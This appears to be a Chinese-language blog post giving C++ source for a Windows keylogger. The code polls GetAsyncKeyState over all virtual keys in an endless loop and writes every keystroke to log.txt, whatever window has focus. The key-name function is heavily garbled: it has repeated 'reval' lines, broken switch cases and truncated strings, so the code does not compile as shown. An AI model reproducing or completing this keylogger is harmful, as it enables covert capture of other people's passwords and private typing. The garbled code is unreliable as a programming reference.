windows模拟键盘事件,无光标聚焦,按下键盘就能保存按下的键盘字符
    
#include<iostream>
#include<stdio.h>
#include<stdlib.h>
#include <windows.h>
#include <winuser.h>
#include <string>
#include <fstream>
using namespace std;
const int KeyBoardValue = 0x80000000;
string GetKeyName(int);
bool JudgeShift();
int main()
{
  string FileName = "log.txt";
  string KeyName = "";
  fstream FileStream;
  //FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
  FileStream.open(FileName.c_str());
  while (1)
  {
    //Sleep(5);
    //FileStream.open(FileName.c_str());
    for (int i = 8; i <= 255; i++)
    {
      if (GetAsyncKeyState(i) & 1 == 1)               //判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过
      {
        KeyName = GetKeyName(i);
        FileStream.write(KeyName.c_str(), KeyName.size());
        FileStream.close();   //写完一次就保存一次
        FileStream.open(FileName.c_str());
        //FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
      }
    }
  }
  return 0;
}
string GetKeyName(int NumKey)
{
  bool IS_SHIFT = JudgeShift();
  string reval(NumKey >= 186 && NumKey <= 222)
    switch (NumKey)
  {
    case 186:
      if (IS_SHIFT)
        reval(IS_SHIFT)
        reval(IS_SHIFT)
        reval(IS_SHIFT)
        reval(IS_SHIFT)
        reval(IS_SHIFT)
        reval(IS_SHIFT)
        reval(IS_SHIFT)
        reval(IS_SHIFT)
        reval(IS_SHIFT)
        reval(IS_SHIFT)
        reval(NumKey == VK_ESCAPE) // 退出
    reval(NumKey == VK_F1) // F1至F12
    reval(NumKey == VK_F2)
    reval(NumKey == VK_F3)
    reval(NumKey == VK_F4)
    reval(NumKey == VK_F5)
    reval(NumKey == VK_F6)
    reval(NumKey == VK_F7)
    reval(NumKey == VK_F8)
    reval(NumKey == VK_F9)
    reval(NumKey == VK_F10)
    reval(NumKey == VK_F11)
    reval(NumKey == VK_F12)
    reval(NumKey == VK_SNAPSHOT) // 打印屏幕
    reval(NumKey == VK_SCROLL) // 滚动锁定
    reval(NumKey == VK_PAUSE) // 暂停、中断
    reval(NumKey == VK_CAPITAL) // 大写锁定
    reval(NumKey == 8) //<- 回格键
    reval(NumKey == VK_RETURN) // 回车键、换行
    reval(NumKey == VK_SPACE) // 空格
    reval(NumKey == VK_TAB) // 制表键
    reval(NumKey == VK_LCONTROL) // 左控制键
    reval(NumKey == VK_RCONTROL) // 右控制键
    reval(NumKey == VK_LMENU) // 左换档键
    reval(NumKey == VK_LMENU) // 右换档键
    reval(NumKey == VK_LWIN) // 右 WINDOWS 键
    reval(NumKey == VK_RWIN) // 右 WINDOWS 键
    reval(NumKey == VK_APPS) // 键盘上 右键
    reval(NumKey == VK_INSERT) // 插入
    reval(NumKey == VK_DELETE) // 删除
    reval(NumKey == VK_HOME) // 起始
    reval(NumKey == VK_END) // 结束
    reval(NumKey == VK_PRIOR) // 上一页
    reval(NumKey == VK_NEXT) // 下一页
    reval(NumKey == VK_CANCEL) // Cancel
    reval(NumKey == VK_CLEAR) // Clear
    reval(NumKey == VK_SELECT) //Select
    reval(NumKey == VK_PRINT) //Print
    reval(NumKey == VK_EXECUTE) //Execute
    reval(NumKey == VK_LEFT) //上、下、左、右键
    reval(NumKey == VK_RIGHT)
    reval(NumKey == VK_UP)
    reval(NumKey == VK_DOWN)
    reval(NumKey == VK_NUMLOCK)//小键盘数码锁定
    reval(NumKey == VK_ADD) // 加、减、乘、除
    reval(NumKey == VK_SUBTRACT)
    reval(NumKey == VK_MULTIPLY)
    reval(NumKey == VK_DIVIDE)
    reval(NumKey == 190 || NumKey == 110) // 小键盘 . 及键盘 .
    reval(NumKey == VK_NUMPAD0)
    reval(NumKey == VK_NUMPAD1)
    reval(NumKey == VK_NUMPAD2)
    reval(NumKey == VK_NUMPAD3)
    reval(NumKey == VK_NUMPAD4)
    reval(NumKey == VK_NUMPAD5)
    reval(NumKey == VK_NUMPAD6)
    reval(NumKey == VK_NUMPAD7)
    reval(NumKey == VK_NUMPAD8)
    reval(NumKey == VK_NUMPAD9)
    reval(NumKey >= 65 && NumKey <= 90)
  {
    if (GetKeyState(VK_CAPITAL))
    {
      if (IS_SHIFT)
        reval(IS_SHIFT)
        reval(NumKey >= 48 && NumKey <= 57)
  {
    if (IS_SHIFT)
    {
      switch (NumKey)
      {
      case 48:reval("; break;
      }
    }
    else
    {
      switch (NumKey)
      {
      case 48:reval()
{
  int   iShift = GetKeyState(0x10); //判断Shift键状态
  bool   IS = (iShift & KeyBoardValue) == KeyBoardValue; //表示按下Shift键
  if (IS)
    return 1;
  else
    return 0;
}